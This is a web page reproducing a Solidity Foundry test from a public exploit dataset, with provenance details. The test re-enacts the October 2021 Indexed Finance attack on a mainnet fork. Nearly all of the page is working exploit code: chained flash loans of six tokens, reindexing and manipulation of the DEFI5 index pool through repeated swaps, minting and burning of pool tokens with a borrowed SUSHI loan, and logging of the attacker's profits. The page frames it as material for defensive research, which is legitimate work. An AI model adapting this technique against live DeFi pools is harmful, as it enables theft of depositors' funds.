Public reproduction file
src/test/2021-10/IndexedFinance_exp.sol
Public reproduction file for dataset entry Indexed Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// @author: https://github.com/Crypto-Virus/indexed-finance-exploit-example/blob/master/contracts/IndexedAttack.sol8// @Analyses:9// https://blocksecteam.medium.com/the-analysis-of-indexed-finance-security-incident-8a62b979983610// https://twitter.com/Mudit__Gupta/status/144888494096418816712// Attack tx: https://etherscan.io/tx/0x44aad3b853866468161735496a5d9cc961ce5aa872924c5d78673076b1cd95aa14interface IUniswapV2Callee {15 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;16}18contract BNum {19 uint256 internal constant BONE = 10 ** 18;21 // Maximum ratio of input tokens to balance for swaps.22 uint256 internal constant MAX_IN_RATIO = BONE / 2;24 function bmul(uint256 a, uint256 b) internal pure returns (uint256) {25 uint256 c0 = a * b;26 require(a == 0 || c0 / a == b, "ERR_MUL_OVERFLOW");27 uint256 c1 = c0 + (BONE / 2);28 require(c1 >= c0, "ERR_MUL_OVERFLOW");29 uint256 c2 = c1 / BONE;30 return c2;31 }32}34contract IndexedAttack is BNum, IUniswapV2Callee, Test {35 address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;36 address private constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;37 address private constant AAVE = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;38 address private constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;39 address private constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;40 address private constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;41 address private constant SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;42 address private constant SUSHI = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;43 address private constant UNISWAP_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;44 address private constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;45 address private constant SUSHI_FACTORY = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;46 address private constant SUSHI_ROUTER = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;48 address private constant CONTROLLER = 0xF00A38376C8668fC1f3Cd3dAeef42E0E44A7Fcdb;49 address private constant DEFI5 = 0xfa6de2697D59E88Ed7Fc4dFE5A33daC43565ea41;51 uint256 count;52 bool attackBegan;53 address[] public borrowedTokens;54 uint256[] public borrowedAmounts;55 address[] public factories;56 address[] pairs;57 uint256[] public repayAmounts;58 uint256 private constant borrowedSushiAmount = 220_000 * 1e18;60 function setUp() public {61 vm.createSelectFork("mainnet", 13_417_948);62 }64 function testHack() public {65 address[] memory tokensBorrow = new address[](6);66 tokensBorrow[0] = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;67 tokensBorrow[1] = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;68 tokensBorrow[2] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;69 tokensBorrow[3] = 0xD533a949740bb3306d119CC777fa900bA034cd52;70 tokensBorrow[4] = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;71 tokensBorrow[5] = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;73 uint256[] memory amounts = new uint256[](6);74 amounts[0] = 2_000_000 * 1e18;75 amounts[1] = 200_000 * 1e18;76 amounts[2] = 41_000 * 1e18;77 amounts[3] = 3_211_000 * 1e18;78 amounts[4] = 5800 * 1e18;79 amounts[5] = 453_700 * 1e18;81 address[] memory factories_ = new address[](6);82 factories_[0] = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;83 factories_[1] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;84 factories_[2] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;85 factories_[3] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;86 factories_[4] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;87 factories_[5] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;89 start(tokensBorrow, amounts, factories_);90 }92 function start(address[] memory _tokensBorrow, uint256[] memory _amounts, address[] memory _factories) internal {93 require(_tokensBorrow.length == _amounts.length && _factories.length == _amounts.length, "Invalid inputs");94 count = 0;95 attackBegan = false;96 borrowedTokens = _tokensBorrow;97 borrowedAmounts = _amounts;98 factories = _factories;100 getLoan();102 console.log("\nAttacker's final profits:");103 console.log("WETH %s", IERC20(WETH).balanceOf(address(this)) / 1e18);104 console.log("UNI %s", IERC20(UNI).balanceOf(address(this)) / 1e18);105 console.log("AAVE %s", IERC20(AAVE).balanceOf(address(this)) / 1e18);106 console.log("COMP %s", IERC20(COMP).balanceOf(address(this)) / 1e18);107 console.log("CRV %s", IERC20(CRV).balanceOf(address(this)) / 1e18);108 console.log("MKR %s", IERC20(MKR).balanceOf(address(this)) / 1e18);109 console.log("SNX %s", IERC20(SNX).balanceOf(address(this)) / 1e18);110 console.log("SUSHI %s", IERC20(SUSHI).balanceOf(address(this)) / 1e18);111 }113 function getLoan() internal {114 address _tokenBorrow = borrowedTokens[count];115 uint256 _amount = borrowedAmounts[count];116 address factoryAddr = factories[count];118 address pair = IUniswapV2Factory(factoryAddr).getPair(_tokenBorrow, WETH);119 require(pair != address(0), "!pair");121 address token0 = IUniswapV2Pair(pair).token0();122 address token1 = IUniswapV2Pair(pair).token1();123 uint256 amount0Out = _tokenBorrow == token0 ? _amount : 0;124 uint256 amount1Out = _tokenBorrow == token1 ? _amount : 0;126 // need to pass some data to trigger uniswapV2Call127 bytes memory data = abi.encode(_tokenBorrow, _amount, factoryAddr);128 IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);129 }131 function uniswapV2Call(132 address _sender,133 uint256 _amount0,134 uint256 _amount1,135 bytes calldata _data136 ) external override {137 require(_sender == address(this), "!sender");139 (address tokenBorrow, uint256 amount, address factoryAddr) = abi.decode(_data, (address, uint256, address));140 address token0 = IUniswapV2Pair(msg.sender).token0();141 address token1 = IUniswapV2Pair(msg.sender).token1();142 address pair = IUniswapV2Factory(factoryAddr).getPair(token0, token1);143 require(msg.sender == pair, "!pair");145 // about 0.3%146 uint256 fee = ((amount * 3) / 997) + 1;147 uint256 repayAmount = amount + fee;149 if (!attackBegan) {150 pairs.push(pair);151 repayAmounts.push(repayAmount);152 count++;153 if (count == borrowedAmounts.length) {154 attackBegan = true;155 attack();156 repayLoans();157 } else {158 getLoan();159 }160 } else {161 continueAttack();162 repaySushiLoan(pair, repayAmount);163 }164 }166 function attack() internal {167 console.log("Performing attack");169 IMarketCapSqrtController controller = IMarketCapSqrtController(CONTROLLER);170 IIndexPool indexPool = IIndexPool(DEFI5);171 controller.reindexPool(DEFI5);173 IERC20(UNI).approve(DEFI5, type(uint256).max);174 IERC20(AAVE).approve(DEFI5, type(uint256).max);175 IERC20(COMP).approve(DEFI5, type(uint256).max);176 IERC20(CRV).approve(DEFI5, type(uint256).max);177 IERC20(MKR).approve(DEFI5, type(uint256).max);178 IERC20(SNX).approve(DEFI5, type(uint256).max);179 IERC20(SUSHI).approve(DEFI5, type(uint256).max);181 // uint totalDenormWeight = indexPool.getTotalDenormalizedWeight();182 // console.log("Total denormalized weight: %s", totalDenormWeight / 1e18);184 (address tokenOut, uint256 value) = indexPool.extrapolatePoolValueFromToken();185 console.log("Extrapolated pool value from token: [%s, %s]", tokenOut, value / 1e18);187 uint256 tokenOutBalance = indexPool.getBalance(tokenOut);188 console.log("Initial Token balance: %s", tokenOutBalance / 1e18);190 for (uint256 i = 0; i < borrowedTokens.length; i++) {191 address tokenIn = borrowedTokens[i];192 if (tokenIn == tokenOut) {193 continue;194 }195 uint256 amountInRemain = borrowedAmounts[i];196 while (amountInRemain > 0) {197 uint256 amountIn = bmul(indexPool.getBalance(tokenIn), MAX_IN_RATIO);198 amountIn = amountInRemain < amountIn ? amountInRemain : amountIn;199 amountInRemain -= amountIn;200 console.log("Swapping %s of [%s] for [%s]", amountIn / 1e18, tokenIn, tokenOut);201 indexPool.swapExactAmountIn(tokenIn, amountIn, tokenOut, 0, type(uint256).max);202 }203 console.log("tokenOut balance: %s", indexPool.getBalance(tokenOut) / 1e18);204 }206 controller.updateMinimumBalance(indexPool, SUSHI);208 uint256 amountOutRemain = IERC20(tokenOut).balanceOf(address(this));209 while (amountOutRemain > 0) {210 uint256 amountOut = bmul(indexPool.getBalance(tokenOut), MAX_IN_RATIO);211 amountOut = amountOutRemain < amountOut ? amountOutRemain : amountOut;212 amountOutRemain -= amountOut;213 console.log("Minting DEFI5 tokens using %s [%s] tokens", amountOut / 1e18, tokenOut);214 indexPool.joinswapExternAmountIn(tokenOut, amountOut, 0);215 }217 getSushiLoan();218 }220 function getSushiLoan() internal {221 console.log("Requesting sushi loan");222 address pair = IUniswapV2Factory(SUSHI_FACTORY).getPair(SUSHI, WETH);223 require(pair != address(0), "!pair");225 address token0 = IUniswapV2Pair(pair).token0();226 address token1 = IUniswapV2Pair(pair).token1();227 uint256 amount0Out = SUSHI == token0 ? borrowedSushiAmount : 0;228 uint256 amount1Out = SUSHI == token1 ? borrowedSushiAmount : 0;230 console.log("borrowing this much sushi", borrowedSushiAmount / 1e18);231 bytes memory data = abi.encode(SUSHI, borrowedSushiAmount, SUSHI_FACTORY);232 IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);233 }235 function continueAttack() internal {236 console.log("Continuing attacking");237 IERC20(SUSHI).transfer(DEFI5, borrowedSushiAmount);238 IIndexPool indexPool = IIndexPool(DEFI5);239 indexPool.gulp(SUSHI);241 uint256[] memory minAmountOut = new uint256[](7);242 for (uint256 i = 0; i < 7; i++) {243 minAmountOut[i] = 0;244 }245 uint256 defi5Balance = IERC20(DEFI5).balanceOf(address(this));246 console.log("Burning %s DEFI5 tokens", defi5Balance / 1e18);247 indexPool.exitPool(defi5Balance, minAmountOut);248 printBalances();250 for (uint256 i = 0; i < 2; i++) {251 uint256 sushiRemain = IERC20(SUSHI).balanceOf(address(this));252 while (sushiRemain > 0) {253 uint256 amountIn = bmul(indexPool.getBalance(SUSHI), MAX_IN_RATIO);254 amountIn = sushiRemain < amountIn ? sushiRemain : amountIn;255 sushiRemain -= amountIn;256 console.log("Minting DEFI5 tokens using %s [%s] tokens", amountIn / 1e18, SUSHI);257 indexPool.joinswapExternAmountIn(SUSHI, amountIn, 0);258 }259 uint256 defi5Balance = IERC20(DEFI5).balanceOf(address(this));260 console.log("Burning %s DEFI5 tokens", defi5Balance / 1e18);261 indexPool.exitPool(defi5Balance, minAmountOut);262 printBalances();263 }264 }266 function repaySushiLoan(address pair, uint256 repayAmount) internal {267 // swap some MKR to WETH to cover repayment268 address[] memory path = new address[](2);269 path[0] = MKR;270 path[1] = WETH;271 IERC20(MKR).approve(UNISWAP_ROUTER, type(uint256).max);272 IUniswapV2Router01(UNISWAP_ROUTER).swapTokensForExactTokens(273 115 * 1e18, type(uint256).max, path, address(this), type(uint256).max274 );275 IERC20(SUSHI).transfer(pair, IERC20(SUSHI).balanceOf(address(this)));276 IERC20(WETH).transfer(pair, 115 * 1e18); // estimated 115 based on trial and error277 }279 function repayLoans() internal {280 console.log("Repaying loans");281 for (uint256 i = 0; i < borrowedAmounts.length; i++) {282 address token = borrowedTokens[i];283 uint256 amount = borrowedAmounts[i];284 address pair = pairs[i];285 uint256 repayAmount = repayAmounts[i];287 IERC20(token).transfer(pair, repayAmount);288 }289 }291 function printBalances() internal {292 console.log("\nContract balances are:");293 console.log("WETH %s", IERC20(WETH).balanceOf(address(this)) / 1e18);294 console.log("UNI %s", IERC20(UNI).balanceOf(address(this)) / 1e18);295 console.log("AAVE %s", IERC20(AAVE).balanceOf(address(this)) / 1e18);296 console.log("COMP %s", IERC20(COMP).balanceOf(address(this)) / 1e18);297 console.log("CRV %s", IERC20(CRV).balanceOf(address(this)) / 1e18);298 console.log("MKR %s", IERC20(MKR).balanceOf(address(this)) / 1e18);299 console.log("SNX %s", IERC20(SNX).balanceOf(address(this)) / 1e18);300 console.log("SUSHI %s", IERC20(SUSHI).balanceOf(address(this)) / 1e18);301 }302}304/* -------------------- Interface -------------------- */305interface IERC20 {306 function transfer(address to, uint256 amount) external returns (bool);307 function approve(address spender, uint256 amount) external returns (bool);308 function balanceOf(309 address account310 ) external view returns (uint256);311 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);312}314interface IIndexPool {315 function joinswapExternAmountIn(316 address tokenIn,317 uint256 tokenAmountIn,318 uint256 minPoolAmountOut319 ) external returns (uint256); /* poolAmountOut */321 function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external;323 function gulp(324 address token325 ) external;327 function swapExactAmountIn(328 address tokenIn,329 uint256 tokenAmountIn,330 address tokenOut,331 uint256 minAmountOut,332 uint256 maxPrice333 ) external returns (uint256, /* tokenAmountOut */ uint256); /* spotPriceAfter */335 function extrapolatePoolValueFromToken() external view returns (address, /* token */ uint256); /* extrapolatedValue */337 function getTotalDenormalizedWeight() external view returns (uint256);339 function getBalance(340 address token341 ) external view returns (uint256);342}344interface IMarketCapSqrtController {345 function updateMinimumBalance(IIndexPool pool, address tokenAddress) external;346 function reindexPool(347 address poolAddress348 ) external;349}351interface IUniswapV2Pair {352 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;353 function token0() external view returns (address);354 function token1() external view returns (address);355}357interface IUniswapV2Factory {358 function getPair(address tokenA, address tokenB) external view returns (address pair);359}361interface IUniswapV2Router01 {362 function swapTokensForExactTokens(363 uint256 amountOut,364 uint256 amountInMax,365 address[] memory path,366 address to,367 uint256 deadline368 ) external returns (uint256[] memory amounts);369}Analysis
Dataset entry
Public Foundry test for “Indexed Finance” (2021-10-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
1 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2021-10/Cream_2_exp.solSame month in the dataset · 350 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Tx
0x44aad3b853866468161735496a5d9cc961ce5aa872924c5d78673076b1cd95aa
File record
- Name
- Indexed Finance
- Path
- src/test/2021-10/IndexedFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bf701b69ce9bdf003a897e6f4c8ddf44d6814a2c
- Language
- Solidity
- Size
- 370 lines
- Date
- 2021-10-15
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2021-10/IndexedFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf701b69ce9bdf003a897e6f4c8ddf44d6814a2c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.